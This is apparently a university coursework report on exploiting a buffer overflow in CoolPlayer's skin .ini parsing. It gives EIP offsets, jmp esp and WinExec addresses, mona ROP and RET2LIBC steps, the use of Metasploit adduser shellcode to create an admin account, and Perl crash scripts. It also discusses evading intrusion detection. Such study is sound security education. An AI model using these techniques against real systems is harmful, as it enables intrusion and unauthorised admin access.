



**Abertay  
University**

# **Exploit Development**

Exploiting a Music Player

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*Note that Information contained in this document is for educational purposes.*

# Abstract

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This report aims to investigate a music player application in an attempt to find vulnerabilities and evaluate the extent to which they can be exploited through buffer overflows. As well as a discussion on Intrusion Detection Systems and how they can possibly be evaded.

The methodology was made up of identification of and proof of flaw. Following that a proof-of-concept (calculator) and an advanced exploit (adding an admin account to the victim's PC) were developed and demonstrated. This was initially done with DEP disabled for the application and then with DEP enabled it was attempted to be overcome using two techniques, ROP Chains and RET2LIBC.

In the application the skin functionality was investigated where an exploit was found. This exploit allowed for malicious exploitation of a buffer overflow. This was able to be exploited with both DEP disabled and enabled.

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# 1 INTRODUCTION

## 1.1 BACKGROUND

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A buffer overflow is a common vulnerability which can allow attackers to perform malicious actions such as code execution. To understand how a buffer overflow attack works an understanding of how low-level Windows memory architecture works must first be covered.

When a program is run, the OS puts the program and its variables into memory. Using virtual memory address translation, the physical addresses are mapped to virtual addresses. Certain ranges of memory address are used for different things. As can be seen in Figure 1, these are the kernel area, the stack, the heap and data and text (Coen Goedegebure, 2018).




Figure 1. Diagram of Process Memory layout (Coen Goedegebure, 2018).

The top area, the kernel, contains the command line arguments and the environment variables for the program.

The text area in memory also known as the code segment is the place in memory which contains the code of the program. It is often read-only to prevent any modifications to the code, accidental or not.

Above the text section is the data which can be further split into the BSS and the data areas. The BSS and the data segments are used for uninitialized and initialized variables, respectively.

The heap is made for dynamic memory allocation (variables whose size is known only during runtime).

The key area for buffer overflows is the stack. This holds the local variables used by the functions of the program. When a function is called, a stack frame, which can be seen in Figure 2, is pushed onto the top of the stack containing various values such as the return address, the base pointer and a buffer. Stack frames are added to the stack using a last in, first out order meaning the latest frames added are the first to be removed.




Figure 2. Diagram of a Stack Frame (Coen Goedegebure, 2018).

Another key piece of required knowledge is registers. There are a number of registers that are used to help. The EBP (Base Pointer) is used in the stack frame, it is set to the value of the ESP (Stack Pointer) when the function is called. The stack pointer is simply a pointer to the top of

the stack as seen in Figure 3 below. The return address in the stack frame is another pointer which is set to the next instruction to be executed after the function, this tells the EIP (Instruction Pointer) what to run after the function has completed.

Register Name	Purpose
EAX (Accumulator Register)	Used in arithmetic operations
EBX (Base register)	Used as a pointer to data (located in segment register DS, when in segmented mode).
ECX (Counter Register)	Used in shift/rotate instructions and loops
EDX (Data Register)	Used in arithmetic operations and I/O operations.
ESP (Stack Pointer register)	Pointer to the top of the stack.
EBP (Stack Base Pointer register)	Used to point to the base of the stack.
ESI (Source Index register)	Used as a pointer to a source in stream operations.
EDI (Destination Index register)	Used as a pointer to a destination in stream operations.
EIP (Instruction Pointer)	The EIP register contains the address of the next instruction to be executed

*Figure 3. Relevant Registers (wikibooks, 2020).*

The vulnerability occurs when data pushed onto the stack is larger than the memory it was allocated, allowing it to overwrite memory. The attacker can then craft the input to perform malicious attacks. For example, if the program had allocated 50 bytes for user input but the user instead input a 54 A's (4 bytes to overwrite the base pointer) followed by an address which would overwrite the return address, the attacker can gain control of the EIP. The attacker could also shellcode after and overwrite the return address and point the EIP to the shellcode once the function returns, it would return to the overwritten address which would then execute the presumably malicious shellcode.

There are multiple techniques employed in an attempt to prevent code execution and the exploitation of buffer overflows. One method, DEP (Data Execution Prevention) prevents the execution on the stack. DEP, however, can be bypassed in a few ways. One way is through the use of Return-Oriented Programming (ROP). This is where the attacker crafts code by chaining

various “ROP gadgets” (slices of code from various libraries which return) together. ROP Chains can even be used to disable DEP entirely.

Another method to bypass DEP is RET2LIBC or Return to C Library. This works by creating code that calls specific addresses, as the name suggests, in the C Library. One of the common functions used is the WinExec. The C Library is executable and since it's not using shellcode, DEP fails to prevent RET2LIBC attacks.

# 2 PROCEDURE

## 2.1 DEP ON

### 2.1.1 IDENTIFICATION AND PROOF OF FLAW

A flaw was found in the skin functionality of the media player using ini files. Using Perl an ini file was crafted, found under “crash1.pl” in Appendix A. Each .ini required the text “[CoolPlayer Skin] PlaylistSkin=” to work with the media player. The Perl script made the ini file with the required text and 3000 A’s. The media player was then attached to OllyDBG and when the ini file was entered it caused an access violation and, as be seen in Figure 4, overwrote the EIP with A’s. This revealed the vulnerability that could possibly be exploited. If 3000 A’s failed to overwrite the EIP the number of A’s would’ve been increased.





Figure 4. Overwritten EIP.

The next step was to find the distance to the EIP/size of the buffer so the EIP could be controlled. This was done using the program pattern\_create and pattern\_offset. Pattern\_create allows for a pattern to be created for a specified character length to help identify the distance. This was done using the command “pattern\_create.exe 3000 > pattern.txt” which would output the pattern into pattern.txt.




This pattern was used instead of the 3000 A's, the Perl file "crash2.pl" can be found in Appendix A. When this ini file was entered the EIP had a value of 69423869 as can be seen in Figure 5.



```
Registers (FPU)
ERX 41376742
ECX 00000B05
EDX 00150608
EBX 00000000
ESP 0011F20C ASCII ""9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk
EBP 42376942
ESI 0011F214 ASCII ""j2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4E
EDI 0012E0A0
EIP 69423869
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDD000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -??? FFFF 00FFFFFF 00FFFFFF
ST1 empty -??? FFFF 00000000 00000000
ST2 empty -??? FFFF 000000EE 00EE00EE
ST3 empty -??? FFFF 000000FB 00FB00FB
ST4 empty -??? FFFF 03FFFFFF 10E4F5F6
```

Figure 5. EIP Value from pattern\_create's pattern.

The distance to the EIP was then found to be 1045 using the program pattern\_offset with the command "pattern\_offset.exe 69423869 3000" that can be seen below in Figure 6.



```
C:\Documents and Settings\Administrator\Desktop\Coursework>pattern_offset.exe 69423869 3000
C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ocrF.tmp/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': iconv will be deprecated in the future, use String#encode instead.
1045
```

Figure 6. pattern\_offset result.

The tools, pattern\_create and pattern\_offset, were used again to find how much room there was for shellcode. Using the tools, a pattern of 10000 was created and entered into a variation on crash2.pl, which can be found under crash3.pl. Using the OllyDBG the last pattern on the stack was used, "Mv2M" as can be seen in Figure 7. This was then used with pattern\_offset and was found to be the last pattern in the 10000-character pattern. The space for shellcode was not tested further as 10000 was more than enough to create a proof-of-concept and an advanced exploit.

001218E8	74403774	t7Mt
001218EC	39744038	8Mt9
001218F0	40307540	Mu0M
001218F4	75403175	u1Mu
001218F8	33754032	2Mu3
001218FC	40347540	Mu4M
00121900	75403575	u5Mu
00121904	37754036	6Mu7
00121908	40387540	Mu8M
0012190C	76403975	u9Mu
00121910	31764030	0Mv1
00121914	40327640	Mv2M
00121918	00000000	....
0012191C	00000000	....
00121920	00000000	....

Figure 7. 1000-character pattern result

## 2.1.2 PROOF OF CONCEPT

With this information a proof of concept exploit can be developed. For this example, when the ini file would be opened, a calculator would be run.

A test with 1045 A's was run, crash4.pl in Appendix A. The result of this can be found in Figure 8. 42424242 (BBBB) is where our pointer to our shellcode would go and 43434343 (CCCC) onwards would be our shellcode. As the memory address of the start of our shellcode contained a null byte, it can't just be jump to. Instead a "jmp esp" has to be found and used from a dll that the program is using.




Figure 8. Result of crash4.pl

For this, kernel32.dll and the tool findjmp were used. In Figure 9, kernel32.dll was searched for a jump to ESP using the command “findjmp.exe kernel32.dll esp” which found 3 usable addresses, 0x7C86467B was chosen.

```
C:\Documents and Settings\Administrator\Desktop\Coursework>findjmp.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C8369F0    call esp
0x7C86467B    jmp esp
0x7C868667    call esp
0x7C868667
Finished Scanning kernel32.dll for code useable with the esp register
Found 3 usable addresses
```

Figure 9. findjmp result.

This address would then replace the BBBB’s in crash4.pl which would overwrite the EIP so that when it is popped it returns to the shellcode which would be placed after the address. 16 NOP’s were also added before the shellcode as padding. No character-filtering had to be avoided. The complete Perl code for this can be found in Appendix A under “crashcalc.pl” and the result can be seen in Figure 10.




Figure 10. crashcalc.pl result.

### 2.1.3 ADVANCED EXPLOIT

MSFGUI (Metasploit Framework Graphical User Interface) was used to generate an advanced exploit payload. This was done by navigating to payloads, then under Windows the relevant payloads can be found. For this example, adduser was selected, this by default creates a user account named Metasploit

with the password Metasploit and adds the account to the administrator group on the victim's PC. As can be seen in Figure 11, the payload was encoded in x86/alpha\_upper and outputted in Perl format. This then simply replaces the calculator shellcode in crashcalc.pl and can be found under crashadvanced.pl in Appendix A.




Figure 11. adduser screen on MSFGUI.

The result of this exploit can be found below in Figure 12. Under the accounts on the PC is an admin account named "metasploit" which can be logged in with the password "metasploit".




Figure 12. User Accounts on Victim's PC.

## 2.1.4 EGGHUNTING

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When exploiting buffer overflows, there is sometimes a lack of space for shellcode. One way to circumvent this issue is through the use of a technique called egg hunting. This consists of a piece of shellcode, the egg hunter, which searches through memory to find a tag that indicates the start of the malicious shellcode and then executes it.

Whilst this was not required for this application, the concept can still be proven. For this another proof-of-concept was developed. Using a 32byte egg hunter developed by the Corelan Team (Corelan Team, 2010). A 200 NOP buffer was used to split the egg hunter and egg to show how it would work. This egg hunter uses the tag "w00t" which was placed before the previous used calculator shellcode in the ini file, this can be seen under egghunter.pl in Appendix A. For this proof-of-concept the amount of A's had to be lowered by 10 to 1035 as the previous distance to EIP was causing errors.

## 2.2 DEP ON

For the following sections, DEP was enabled, which is done by going to System Properties, navigating to Advanced and then Performance Settings and on the DEP tab, selecting “Turn on DEP for all programs and services...” like in Figure 13.




Figure 13. DEP enabled.

Now whenever any of the previous exploits, the error in Figure 14 is shown.




Figure 14. DEP Error Message.

Whilst DEP makes the stack non-executable, there are multiple ways to circumvent/disable this.

## 2.2.1 ROP CHAINS

A common way to bypass/disable DEP is through the use of ROP Chains. This was done with the python file mona.py, developed by the CoreLan team. This a python script that runs with Immunity Debugger and WinDBG and is used to help automate and speed up searches whilst developing exploits. To install Mona, Mona.py is simply copied/moved to the Immunity Debugger installation.

One of the pieces of information that is needed is an address of a RETN instruction which will be used to start the ROP Chain. To get this the command “!mona find -type instr -s ‘retn’ -m msvcrt.dll -cpb ‘\x00\x0a\x0d’” was used as seen in Figure 15. This command searches for a RETN instruction in the msvcrt module and skips any that include NULL, Line Feed and Carriage Returns. The results of this command can be found under find.txt in the Immunity Debugger installation folder. The only usable addresses are the ones marked “PAGE\_EXECUTE\_READ”. For this the address “0x77c1258a” was chosen.




Figure 15. Mona finding RETN instructions.

The next step is to create a ROP Chain. Mona.py can also be used to generate ROP chains. The command to do this “!mona rop -n -m msvcrt.dll -cpb ‘\x00\x0a\x0d’” can be seen below. This command places the results in rop.txt and rop\_chains.txt in the same place as find.txt. rop.txt contains useful ROP gadgets if the ROP Chain is to be built manually. Instead, rop\_chains.txt was used which provides ROP chains that mona.py attempted to build. Many are not completed but VirtualAlloc() is, the pre-built chain in Python was then translated to Perl and used in a script with the RETN address, this can be found under ropchain.pl.








Figure 18. Calculator being run with DEP enabled.

## 2.2.2 RET2LIBC

One-way buffer overflows can be exploited to execute code even with DEP enabled is a method called RET2LIBC, previously discussed.

Another calculator proof-of-concept was developed with this exploit. This exploit requires crafting the stack with various variables address of WinExec, address of ExitProcess and pointer to command line values. The tool arwin was used to find the address of WinExec and ExitProcess in kernel32.dll as can be seen in Figure 19.

```
C:\Documents and Settings\Administrator\Desktop\Coursework\DEP>arwin.exe kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x7c8623ad in kernel32.dll

C:\Documents and Settings\Administrator\Desktop\Coursework\DEP>arwin.exe kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cafa in kernel32.dll

C:\Documents and Settings\Administrator\Desktop\Coursework\DEP>
```

Figure 19. Arwin finding WinExec and ExitProcess addresses.

The next step was to craft an ini file containing our DOS command "cmd \c calc&" that WinExec will run so that the address of it could be found in the buffer. This was done using ret2libc1.pl that can be found in Appendix B. Using OlllyDBG to put a breakpoint at the address of WinExec and doing a binary string

search for "cmd \c" the address was found to be "0011EDF7". Note, that in the development of this the distance to EIP of 1045 previously discovered caused some errors and was reduced to 1041 which solved any issues.

From here the proof-of-concept could be made by simply adding the discovered address. The Perl file to create the ini file can be found under ret2libc2.pl in Appendix B. Similarly, to the other proof-of-concept, this exploit can be developed further to cause more serious damage such as adding admin accounts.

# 3 DISCUSSION

## 3.1 EVADING INTRUSION DETECTION SYSTEMS

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An intrusion detection system (IDS) is a device or software that is used to monitor a network for malicious activity. The two main detection methods are signature-based and anomaly-based. Signature-based works by looking for specific patterns of bytes that are known to be malicious. Anomaly-based works by building a baseline of normal activity on the device and any out of the ordinary activity is marked as anomalous and blocked. (Mujumdar, Masiwal and Dr Meshram, 2013). Both types have their pros and cons. Signature-based rely on previous known patterns and so are often susceptible to zero-days or obfuscation. Whilst anomaly-based systems can prevent attacks from previously unknown malware it can also run into false positives.

One way a signature detection system could be avoided is through the use of encoding and encryption. Whilst some IDS will match signatures that have been encoded, the Metasploit framework encoder, "Shikata Ga Nai" which is a polymorphic XOR encoder meaning it would encode the same shellcode differently each time makes it a lot harder for patterns to be matched (spoonm, 2018).

A useful technique which can help bypass anomaly-based is fragmentation. This is simply breaking an attack into multiple parts. This could be easily implemented by simply expanding on the egg hunter attack to create an omelette egg hunter (i.e. an egg hunter attack with multiple 'eggs'). Fragmentation would make it hard for the IDS to piece together what the attack is doing, the attack could also create junk shellcode that does nothing slowing down the IDS to the point that the attack may be executed (Carlo, 2003).

## 3.2 CONCLUSIONS

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In conclusion, the music player was found to be exploitable by buffer overflow attacks through the skin functionality. Allowing an attack ranging from simply opening a calculator to malicious attacks such as adding admin accounts or even creating a reverse shell.

Whilst ROP Chains failed to be leveraged to avoid DEP mitigation without being run in a debugger, DEP was still proven to be possible to evade with techniques such as RET2LIBC. It is also possible with more investigation and research ROP chains could work to disable DEP.

Overall, the application was proven vulnerable even with protections such as DEP in place. As well as this other mitigation evasions were investigated and discussed.

### 3.3 FUTURE WORK

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If given more time, one of the areas that would be further researched would be the other inputs available in the program such as the playlist functionality. Whilst it was looked at and failed to show any vulnerability, it is still likely that it can be exploited with more investigation.

One of the issues that was encountered was that the distance to EIP would change throughout development. Through trial and error this was solved and did not become a large issue, but it would be valuable to investigate and know why this was the case and what was causing it.

Another area would be ROP Chains, given more time, more research would have been done into the apparent filtering done. This would hopefully have resulted in ROP Chains being able to disable DEP and allow for malicious attacks to be performed on the application even with mitigations in place.

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# APPENDICES

## APPENDIX A – PERL SCRIPTS (DEP OFF)

---

### crash1.pl

```
$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 3000;

open($FILE, ">$file");
print $FILE $buffer;
```

### crash2.pl

```
$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .=
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9
```

```
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```

```
open($FILE,">$file");
print $FILE $buffer;
```

### crash3.pl

```
$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .=
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A
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Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap
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```

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4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9H  
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u7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2  
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c4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9  
If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih  
5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0I  
k1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6  
Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip  
2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7I  
r8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3  
Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw  
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6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1J  
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Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm



```
3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8J
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Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju
0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5J
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e3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8
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1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6K
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8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3L
b4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9
Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg
5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0L
j1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6
Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo
2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7L
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Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv
9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4L
y5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0
Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md
6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1M
g2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7
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3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8M
